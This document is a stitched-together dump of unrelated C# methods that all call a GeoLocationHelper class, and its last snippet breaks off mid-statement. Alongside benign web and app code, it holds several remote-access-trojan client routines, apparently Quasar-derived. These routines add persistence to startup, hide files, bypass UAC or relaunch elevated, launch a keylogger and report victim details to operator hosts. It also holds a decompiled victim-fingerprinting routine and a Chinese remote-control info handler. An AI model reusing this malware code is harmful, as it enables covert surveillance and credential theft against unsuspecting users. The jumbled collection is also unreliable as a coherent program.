public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex, SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName(), Settings.TAG).Execute(client); }
public static RemoteClientInformation CreateRandom(string SourceID) { try { GeoLocationHelper.Initialize(); Size screenSize = GetScreenSize(); string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } return(new RemoteClientInformation { ID = 0, LogTime = DateTime.Now, SourceID = SourceID, UserName = Environment.UserName, ClientIP = RandomIp(), Country = GeoLocationHelper.GeoInfo.CountryCode, OperationSystem = ParseOS(), HardwareID = ParseHWID(), Hardwares = ParseHardwares(), Antiviruses = ParseDefenders(), Languages = AvailableLanguages(), CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName, MonitorSize = $"{screenSize.Width}x{screenSize.Height}", TimeZone = "UTC" + text, City = GeoLocationHelper.GeoInfo.City }); } catch { return(null); } }
public void addSelfToEventHandlerList(GeoLocationHelper signOn) { currentCountdownUntilThrowingError = new Thread(x => { try { Thread.Sleep(10000); ((GeoLocationHandler)x).isLoading = false; var response = MessageBox.Show("Es gab einen Fehler beim Ermitteln ihres Standorts," + " stellen sie sicher das sie die Standortfreigabe aktiviert haben." + " Soll ihr Standort weiterhin gesucht werden ? Die Stationen werden angezeigt wenn ihr Standort ermittelt wurde.", "Fehler", MessageBoxButton.YesNo, MessageBoxImage.Error, MessageBoxResult.Yes); if (response == MessageBoxResult.No) { ((GeoLocationHandler)x).removeSelfFromAllEventHandlerList(); } } catch (Exception) { } /* Thread.Sleep can Throw errors * the MessageBox is just an additional Feature */ }); currentCountdownUntilThrowingError.Start(this); signOn.updateEventHandler.Add(this); signedOn.Add(signOn); }
public IActionResult SearchNearestPartner(double lat, double lgn) { var queryPosition = new Position(lat, lgn); var distance = 0.0; var lessDistant = double.MaxValue; PartnerViewModel nearestPartner = null; _partnerAppService.GetAll().ToList().ForEach(partner => { if (GeoLocationHelper.IsPointInMultiPolygon(queryPosition, partner.DeserializedCoverageArea)) { distance = GeoLocationHelper.GetDistance(partner.DeserializedAddress.Coordinates, queryPosition); if (distance < lessDistant) { lessDistant = distance; nearestPartner = partner; } } }); if (nearestPartner != null) { return(Response(nearestPartner)); } return(Response("No Partner found with the informed coordinates!")); }
public static void HandleGetAuthentication(GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); client.Send(new GetAuthenticationResponse { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, AccountType = WindowsAccountHelper.GetAccountType(), Country = GeoLocationHelper.GeoInfo.Country, CountryCode = GeoLocationHelper.GeoInfo.CountryCode, Region = GeoLocationHelper.GeoInfo.Region, City = GeoLocationHelper.GeoInfo.City, ImageIndex = GeoLocationHelper.ImageIndex, Id = DevicesHelper.HardwareId, Username = WindowsAccountHelper.GetName(), PcName = SystemHelper.GetPcName(), Tag = Settings.TAG }); if (ClientData.AddToStartupFailed) { Thread.Sleep(2000); client.Send(new SetStatus { Message = "Adding to startup failed." }); } }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) { return(false); } AES.SetDefaultKey(Settings.PASSWORD); ClientVerisi.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath); if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Başlangıç.AddToStartup()) { ClientVerisi.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); var logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new KuuhakuClient(hosts); return(true); } MutexHelper.CloseMutex(); ClientYükleyici.Install(ConnectClient); return(false); }
public void GetDistance_Sucessfully(double basePositionLatitude, double basePositionLongitude, double testPositionLatitude, double testPositionLongitude, double expectedDistance) { Position basePosition = new Position(basePositionLatitude, basePositionLongitude); Position testPosition = new Position(testPositionLatitude, testPositionLongitude); var distance = GeoLocationHelper.GetDistance(basePosition, testPosition); distance.Should().Be(expectedDistance); }
private static void Initialize() { if (!MutexHelper.CreateMutex(Settings.MUTEX)) { ClientData.Disconnect = true; // process with same mutex is already running } if (ClientData.Disconnect) { return; } AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); if (_hosts.IsEmpty) { ClientData.Disconnect = true; // no hosts to connect } if (ClientData.Disconnect) { return; } FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP && Settings.INSTALL) { if (!Startup.AddToStartup()) { ClientData.AddToStartupFailed = true; } } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); } } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); } }
public async Task <ViewResult> BillingAddress() { var model = (await UserManager.FindByIdAsync(User.Identity.GetUserId())).BillingAddress; // List for dropdown country select var userCountry = (await UserManager.FindByIdAsync(User.Identity.GetUserId())).IPAddressCountry; ViewBag.Countries = GeoLocationHelper.SelectListCountries(userCountry); return(View(model)); }
public ContentResult RunDiagnostics() { var diag = new StringBuilder(); try { Debug.WriteLine("RunDiagnostics(): START"); string currentIP = IpHelper.GetIPAddress(HttpContext.Request); string testingIP = "13.82.179.176"; Debug.WriteLine("RunDiagnostics(): Current IP: " + currentIP); Debug.WriteLine("RunDiagnostics(): Testing IP: " + testingIP); diag.AppendLine("Current IP: " + currentIP); diag.AppendLine("Testing IP: " + testingIP); var locTesting = GeoLocationHelper.GetLocationFromIp(IPAddress.Parse(testingIP)); // Geolocation not configured or not working if (locTesting == null) { diag.AppendLine("GeoLocation: Not working! Please configure Maxmind or another GeoIP provider"); return(Content(diag.ToString(), "text/plain")); } else { var locCurrent = GeoLocationHelper.GetLocationFromIp(IPAddress.Parse(currentIP)); string psCurrent = HttpHelper.GetSegmentList(GeoLocationHelper.GetCoordinatesFromIp(IPAddress.Parse(currentIP))); Debug.WriteLine("RunDiagnostics(): GeoLocation (current IP): {0} - {1}", locCurrent.CountryCode, locCurrent.Region); Debug.WriteLine("RunDiagnostics(): Segments (current IP): " + psCurrent); diag.AppendLine("GeoLocation (current IP): " + locCurrent.CountryCode + " - " + locCurrent.Region); diag.AppendLine("Segments (current IP): " + psCurrent); string psTesting = HttpHelper.GetSegmentList(GeoLocationHelper.GetCoordinatesFromIp(IPAddress.Parse(testingIP))); Debug.WriteLine("RunDiagnostics(): GeoLocation (testing IP): {0} - {1}", locTesting.CountryCode, locTesting.Region); Debug.WriteLine("RunDiagnostics(): Segments (testing IP): " + psTesting); diag.AppendLine("GeoLocation (testing IP): " + locTesting.CountryCode + " - " + locTesting.Region); diag.AppendLine("Segments (testing IP): " + psTesting); Debug.WriteLine("RunDiagnostics(): END"); return(Content(diag.ToString(), "text/plain")); } } catch (Exception ex) { Debug.WriteLine("RunDiagnostics(): Error: " + ex.Message); diag.AppendLine("Error while running diagnostics" + ex.Message); return(Content(diag.ToString(), "text/plain")); } }
public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, PlatformHelper.FullName, WindowsAccountHelper.GetAccountType(), GeoLocationHelper.GeoInfo.country, GeoLocationHelper.GeoInfo.country_code, GeoLocationHelper.GeoInfo.region, GeoLocationHelper.GeoInfo.city, GeoLocationHelper.ImageIndex, DevicesHelper.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG).Execute(client); if (ClientData.AddToStartupFailed) { Thread.Sleep(2000); new Packets.ClientPackets.SetStatus("Adding to startup failed.").Execute(client); } }
private static void Initialize() { Thread.Sleep(2000); AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); GeoLocationHelper.Initialize(); if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; new Thread(SystemCore.UserIdleThread).Start(); if (Settings.STARTUP && Settings.INSTALL) { SystemCore.AddToStartup(); } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); ; } } else { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; SystemCore.Install(); } }
public static void HandleGetAuthentication(GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); new GetAuthenticationResponse(Settings.VERSION, PlatformYardımcısı.Tamİsim, WindowsAccountHelper.GetAccountType(), GeoLocationHelper.GeoInfo.Ülke, GeoLocationHelper.GeoInfo.Ülke_Kodu, GeoLocationHelper.GeoInfo.Bölge, GeoLocationHelper.GeoInfo.Şehir, GeoLocationHelper.ImageIndex, CihazYardımcısı.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG) .Execute(client); if (ClientVerisi.AddToStartupFailed) { Thread.Sleep(2000); new SetStatus("Başlangıca Ekleme Başarısız.").Execute(client); } }
public void GetLocationBanner() { var ip = GetIP(); var location = GeoLocationHelper.GetLocation(ip); var imagesBaseDir = URIHelper.BasePath + "/media/uploads/images/banners/homebanners/"; var cityBaseDir = imagesBaseDir; if (location.City.Name != null) { cityBaseDir = imagesBaseDir + location.City.Name.ToLower() + "/"; } else { cityBaseDir = imagesBaseDir + "others/"; } var path = ""; if (!Directory.Exists(cityBaseDir)) { cityBaseDir = imagesBaseDir + "others/"; } var currentMonth = DateTime.Now.Month; var subdir = "summer/"; if (currentMonth > 10 || currentMonth < 3) { subdir = "winter/"; } var filesInDir = Directory.GetFiles(cityBaseDir + subdir); var randomIndex = (new Random()).Next(0, filesInDir.Length); if (filesInDir.Length > 0) { var filePath = filesInDir[randomIndex]; path = filePath.Replace(URIHelper.BasePath, "").Replace("\\", "/"); } WriteJSON("{\"path\":\"" + path + "\"}"); }
public async Task <ActionResult> Register(RegisterViewModel model) { if (ModelState.IsValid) { var userIP = GeoLocation.GetUserIP(Request).Split(':').First(); var user = new ApplicationUser { UserName = model.Email, Email = model.Email, RegistrationDate = DateTime.UtcNow, LastLoginTime = DateTime.UtcNow, IPAddress = userIP, IPAddressCountry = GeoLocationHelper.GetCountryFromIP(userIP), BillingAddress = new BillingAddress() }; var result = await UserManager.CreateAsync(user, model.Password); if (result.Succeeded) { // Create Stripe user var taxPercent = user.IPAddressCountry != null && EuropeanVat.Countries.ContainsKey(user.IPAddressCountry) ? EuropeanVat.Countries[user.IPAddressCountry] : 0; // if no plan set, default to professional var planId = string.IsNullOrEmpty(model.SubscriptionPlan) ? "professional_monthly" : model.SubscriptionPlan; await SubscriptionsFacade.SubscribeUserAsync(user, planId, taxPercent : taxPercent); await UserManager.UpdateAsync(user); await SignInManager.SignInAsync(user, isPersistent : false, rememberBrowser : false); await UserManager.EmailService.SendWelcomeEmail(user.UserName, user.Email); TempData["flash"] = new FlashSuccessViewModel("Congratulations! Your account has been created."); return(RedirectToAction("Index", "Notes")); } AddErrors(result); } // If we got this far, something failed, redisplay form return(View(model)); }
private void OnClientState(Client client, bool connected) { Identified = false; // always reset identification if (connected) { // send client identification once connected GeoLocationHelper.Initialize(); client.Send(new ClientIdentification { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, AccountType = WindowsAccountHelper.GetAccountType(), Country = GeoLocationHelper.GeoInfo.Country, CountryCode = GeoLocationHelper.GeoInfo.CountryCode, Region = GeoLocationHelper.GeoInfo.Region, City = GeoLocationHelper.GeoInfo.City, ImageIndex = GeoLocationHelper.ImageIndex, Id = DevicesHelper.HardwareId, Username = WindowsAccountHelper.GetName(), PcName = SystemHelper.GetPcName(), Tag = Settings.TAG, EncryptionKey = Settings.ENCRYPTIONKEY, Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) }); if (ClientData.AddToStartupFailed) { Thread.Sleep(2000); client.Send(new SetStatus { Message = "Adding to startup failed." }); } } if (!connected && !Exiting) { LostConnection(); } }
public string Get() { var ip = _httpContextAccessor.HttpContext.Connection.RemoteIpAddress.ToString(); var geo = GeoLocationHelper.GetGeoLocation(ip); var moduleFile = Process.GetCurrentProcess().MainModule.FileName; var lastModified = System.IO.File.GetLastWriteTime(moduleFile); var x = JsonSerializer.Serialize(new { Environment.MachineName, OSArchitecture = RuntimeInformation.OSArchitecture.ToString(), OSDescription = RuntimeInformation.OSDescription.ToString(), BuildDate = lastModified, Environment.ProcessorCount, ClientIp = ip, ClientGeo = geo }); return(x); }
private void PulseSessionStartHandler(object sender, CriterionEventArgs e) { var locker = LockingSingleton.GetInstance(); if (Monitor.TryEnter(locker.lockObj)) { try { if (!locker.isLocked) { locker.isLocked = true; Debug.WriteLine("PulseSessionStartHandler(): START"); string ip = IpHelper.GetIPAddress(new HttpRequestWrapper(HttpContext.Current.Request)); Debug.WriteLine("PulseSessionStartHandler(): IP:" + ip); CoordinatesModel coordinates = GeoLocationHelper.GetCoordinatesFromIp(IPAddress.Parse(ip)); if (coordinates == null) { e.HttpContext.Session["pulse_segments"] = new string[0]; locker.isLocked = false; return; } QueryPulse(coordinates, e.HttpContext.Session, locker); Debug.WriteLine("PulseSessionStartHandler(): END"); } else { Debug.WriteLine("PulseSessionStartHandler(): Another thread already started"); } } finally { // Ensure that the lock is released. Monitor.Exit(locker.lockObj); Debug.WriteLine("PulseSessionStartHandler(): Lock released"); } } }
// Token: 0x0600098E RID: 2446 RVA: 0x0001F7AC File Offset: 0x0001D9AC public static RemoteClientInformation Create(string SourceID) { RemoteClientInformation result; try { GeoLocationHelper.Initialize(); Size screenSize = ClientInfoHelper.GetScreenSize(); string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } result = new RemoteClientInformation { ID = 0, LogTime = DateTime.Now, SourceID = SourceID, UserName = Environment.UserName, ClientIP = GeoLocationHelper.GeoInfo.Query, Country = GeoLocationHelper.GeoInfo.CountryCode, OperationSystem = ClientInfoHelper.ParseOS(), HardwareID = ClientInfoHelper.ParseHWID(), Hardwares = ClientInfoHelper.ParseHardwares(), Antiviruses = ClientInfoHelper.ParseDefenders(), Languages = ClientInfoHelper.AvailableLanguages(), CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName, MonitorSize = string.Format("{0}x{1}", screenSize.Width, screenSize.Height), TimeZone = "UTC" + text, City = GeoLocationHelper.GeoInfo.City }; } catch { result = null; } return(result); }
public void Seed(IServiceProvider serviceProvider) { var polygonService = serviceProvider.GetService <PolygonService>(); var cityMapService = serviceProvider.GetService <ICityMapService>(); var context = serviceProvider.GetService <MobilityDbContext>(); var cityPolygons = cityMapService.GetPolygonPoints(); var points = polygonService.GetRandomPointsInsidePolygon( cityPolygons, _scooterNumbersToGenerate); foreach (Point point in points) { context.ScooterLocations.Add(new ScooterLocation { Longitude = point.X, Latitude = point.Y, RadiansLongitude = (float)GeoLocationHelper.ConvertDegreesToRadians(point.X), RadiansLatitude = (float)GeoLocationHelper.ConvertDegreesToRadians(point.Y) }); } context.SaveChanges(); }
private static void Initialize() { Thread.Sleep(2000); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); GeoLocationHelper.Initialize(); if (Settings.ENABLEUACESCALATION) { if (SystemCore.TryUacTrick()) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } } if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } new Thread(SystemCore.UserIdleThread).Start(); if (Settings.STARTUP && Settings.INSTALL) { SystemCore.AddToStartup(); } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start();; } } else { if (!SystemCore.CreateMutex(ref _appMutex)) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } SystemCore.Install(); } }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect { return(false); } ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); // Request elevation if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin") { ProcessStartInfo processStartInfo = new ProcessStartInfo { FileName = "cmd", Verb = "runas", Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; MutexHelper.CloseMutex(); // close the mutex so our new process will run bool success = true; try { Process.Start(processStartInfo); } catch { success = false; MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex } if (success) { ConnectClient.Exit(); } } FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) { ClientData.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); di.Attributes |= FileAttributes.Hidden; } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); return(true); } MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); return(false); }
public ProcessResponse Process(YoutubeProcessRequest request) { var mainSw = Stopwatch.StartNew(); var ip = _httpContextAccessor.HttpContext.Connection.RemoteIpAddress.ToString(); var logEntry = new YoutubeOutputLogEntry() { StartTime = DateTime.Now, Vid = request.Vid, Config = $"{request.BaseFormat}{(request.Options.IncludeHighFrequencies ? "-hf" : "")}{request.Extension}", IpAddress = ip, GeoLocation = GeoLocationHelper.GetGeoLocation(ip), Cache = "Miss" }; // 0. Check output cache var outputFilename = GetOutputFileName(request.Vid, request.BaseFormat, request.SubFormats, request.Extension, request.Options.IncludeHighFrequencies); var outputFilePath = $"{Output_Root}/yt/{outputFilename}"; if (File.Exists(outputFilePath)) { logEntry.Cache = "L1 HIT"; logEntry.Success = true; logEntry.TimeToProcess = (int)mainSw.Elapsed.TotalSeconds; _logger.LogInformation($"Output cache hit: {outputFilePath}"); return(new ProcessResponse() { FileId = outputFilename, LogEntry = logEntry }); } // Check processing cache, avoid duplicate requests to run var now = DateTime.UtcNow; if (_processing.TryGetValue(outputFilename, out DateTime startDate)) { var startedSecondsAgo = (now - startDate).TotalSeconds; if (startedSecondsAgo < 1800) { return(new ProcessResponse() { Error = $"File {outputFilename} is being processed, started {startedSecondsAgo:N0} seconds ago. Try again later in few more minutes..." }); } } _processing[outputFilename] = now; // 1. Get video title and duration var info = YoutubeHelper.GetVideoInfo(request.Vid); if (info.DurationSeconds > Max_Duration_Seconds) { return(new ProcessResponse() { Error = $"Cannot process videos longer than {Max_Duration_Seconds} seconds" }); } logEntry.Title = info.Filename; logEntry.Duration = info.DurationSeconds; LogStart(request, info); // 2. Download Audio var audio = YoutubeHelper.DownloadAudio(request.Vid); // 3. Split var sw = Stopwatch.StartNew(); var splitOutputFolder = GetAudioSplitOutputFolder(request); int fileCount = Directory.Exists(splitOutputFolder) ? Directory.GetFiles(splitOutputFolder, "*.mp3", SearchOption.AllDirectories).Length : 0; if (fileCount == int.Parse(request.BaseFormat.Substring(0, 1))) { logEntry.Cache = "L2 HIT"; _logger.LogInformation("Split output cache hit"); } else { if (fileCount > 0) { _logger.LogInformation($"Deleting folder {splitOutputFolder}"); Directory.Delete(splitOutputFolder, true); } // Create the directory to avoid File exists error on spleeter separate process (probably because of missing exist_ok=True parameter in https://github.com/deezer/spleeter/blob/42d476f6fa8d06f498389d1e620d2f1f59565f51/spleeter/audio/ffmpeg.py#L108) Directory.CreateDirectory(Path.Combine(splitOutputFolder, request.Vid)); // Execute the split var splitResult = SpliterHelper.Split(audio.AudioFileFullPath, splitOutputFolder, request, isBatch: false); _logger.LogInformation($"Separation for {request.Vid}: {(splitResult.ExitCode == 0 ? "Successful" : "Failed")}\n\tDuration: {info.Duration}\n\tProcessing time: {sw.Elapsed:hh\\:mm\\:ss}"); logEntry.TimeToSeparate = (int)sw.Elapsed.TotalSeconds; logEntry.Success = splitResult.ExitCode == 0; logEntry.Errors = string.Join(", ", splitResult.Errors); if (splitResult.ExitCode != 0) { _processing.TryRemove(outputFilename, out _); logEntry.TimeToProcess = (int)mainSw.Elapsed.TotalSeconds; return(new ProcessResponse() { Error = $"spleeter separate command exited with code {splitResult.ExitCode}\nMessages: {splitResult.Output}.", LogEntry = logEntry }); } } sw.Stop(); // 4. Make output MakeOutput(audio.AudioFileFullPath, outputFilePath, splitOutputFolder, request); _processing.TryRemove(outputFilename, out _); logEntry.Success = true; logEntry.TimeToProcess = (int)mainSw.Elapsed.TotalSeconds; return(new ProcessResponse() { FileId = outputFilename, Speed = sw.Elapsed.TotalSeconds == 0 ? null : $"{info.DurationSeconds / sw.Elapsed.TotalSeconds:N1}x", TotalTime = sw.Elapsed.ToString("hh\\:mm\\:ss"), LogEntry = logEntry }); }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect { return(false); } Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY); ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) { ClientData.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); di.Attributes |= FileAttributes.Hidden; } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new QuasarClient(hosts); return(true); } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); return(false); } }
public async Task <bool> GetTechnologes() { if (NetworkHelper.IsNetworkAvailable() == false) { await MessageHelper.ShowMessage("You require an active network connection to internet for registration"); this.ShowError = true; return(false); } try { this.OperationInProgress = true; // Fetch data about the existing user and assign it to view model. var checkProfileResponse = await ServiceProxy.CallService("api/CheckProfile", JsonConvert.SerializeObject(new CheckProfileRequest() { AuthProvider = this.AuthProvider, AuthProviderUserId = this.AuthProviderUserId })); if (checkProfileResponse.IsSuccess) { CheckProfileResponse authUserInfoResponse = JsonConvert.DeserializeObject <CheckProfileResponse>(checkProfileResponse.response); this.AudienceTypes = authUserInfoResponse.AudienceTypes; this.AllAudienceOrgTypes = authUserInfoResponse.AudienceOrgTypes; this.SecondaryTechnologies = authUserInfoResponse.SecondaryTechnologies; this.Cities = new ObservableCollection <City>(authUserInfoResponse.Cities); if (this.Cities == null) { this.Cities = new ObservableCollection <City>(); } else if (this.Cities.Count > 0) { this.City = this.Cities[0]; } if (this.AudienceTypes == null) { this.AudienceTypes = new List <AudienceType>(); } else if (this.AudienceTypes.Count > 0) { this.SelectedAudienceType = this.AudienceTypes[0]; } if (this.AudienceOrgTypes == null) { this.AudienceTypes = new List <AudienceType>(); } else if (this.AudienceOrgTypes.Count > 0) { this.SelectedAudienceOrgType = this.AudienceOrgTypes[0]; } this.OnPropertyChanged("AudienceTypes"); this.OnPropertyChanged("SecondaryTechnologies"); this.OnPropertyChanged("Cities"); if (authUserInfoResponse.IsRegistered) // check if user is exsting or not { this.FullName = authUserInfoResponse.FullName; this.Email = authUserInfoResponse.Email; this.AuthProvider = authUserInfoResponse.AuthProvider; this.AuthProviderUserId = authUserInfoResponse.AuthProviderUserId; this.City = authUserInfoResponse.City; this.Town = authUserInfoResponse.Town; this.Location = authUserInfoResponse.Location; this.SelectedAudienceType = authUserInfoResponse.SelectedAudienceType; this.SelectedAudienceOrgType = authUserInfoResponse.SelectedAudienceOrgType; this.DeviceId = authUserInfoResponse.DeviceId; this.UserId = authUserInfoResponse.UserId; if (!string.IsNullOrEmpty(this.DeviceId)) { this.PushEnabled = true; } await LocalStorage.SaveJsonToFile(this, "registration"); return(true); } else { await this.SetCity(await GeoLocationHelper.GetCity(this.Cities.ToList())); } } //else //{ // // if fetch data : FAILED. // //unable to register you... unable to save your profile... //} } catch (Exception ex) { System.Diagnostics.Debug.WriteLine(ex.Message); return(false); } finally { this.OperationInProgress = false; } return(false); }
public GeoLocationHandler(GeoLocationHelper signOn) { addSelfToEventHandlerList(signOn); isLoading = true; }
public void GetLocation() { string response = JsonConvert.SerializeObject(GeoLocationHelper.GetLocation(GetIP())); WriteJSON(response); }
public void GetSystemInfosHandler(TcpSocketSaeaSession session) { ThreadHelper.ThreadPoolStart(c => { GeoLocationHelper.Initialize(); var infos = new List <SystemInfoItem>(); infos.Add(new SystemInfoItem() { ItemName = "主板序列号", Value = SystemInfoHelper.BIOSSerialNumber }); infos.Add(new SystemInfoItem() { ItemName = "网卡MAC", Value = SystemInfoHelper.GetMacAddress }); infos.Add(new SystemInfoItem() { ItemName = "驱动器存储信息", Value = SystemInfoHelper.GetMyDriveInfo }); infos.Add(new SystemInfoItem() { ItemName = "运行目录", Value = Application.ExecutablePath }); infos.Add(new SystemInfoItem() { ItemName = "系统版本号", Value = Environment.Version.ToString() }); infos.Add(new SystemInfoItem() { ItemName = "启动毫秒", Value = Environment.TickCount.ToString() }); infos.Add(new SystemInfoItem() { ItemName = "登录账户", Value = Environment.UserName }); infos.Add(new SystemInfoItem() { ItemName = "被控服务启动时间", Value = AppConfiguartion.RunTime }); infos.Add(new SystemInfoItem() { ItemName = "系统版本", Value = SystemInfoHelper.GetOSFullName }); infos.Add(new SystemInfoItem() { ItemName = "系统核心数", Value = Environment.ProcessorCount.ToString() }); infos.Add(new SystemInfoItem() { ItemName = "CPU信息", Value = SystemInfoHelper.GetMyCpuInfo }); infos.Add(new SystemInfoItem() { ItemName = "系统内存", Value = (SystemInfoHelper.GetMyMemorySize / 1024 / 1024) + "MB" }); infos.Add(new SystemInfoItem() { ItemName = "计算机名称", Value = Environment.MachineName }); infos.Add(new SystemInfoItem() { ItemName = "被控服务版本", Value = AppConfiguartion.Version }); infos.Add(new SystemInfoItem() { ItemName = "WAN IP", Value = GeoLocationHelper.GeoInfo.Ip }); infos.Add(new 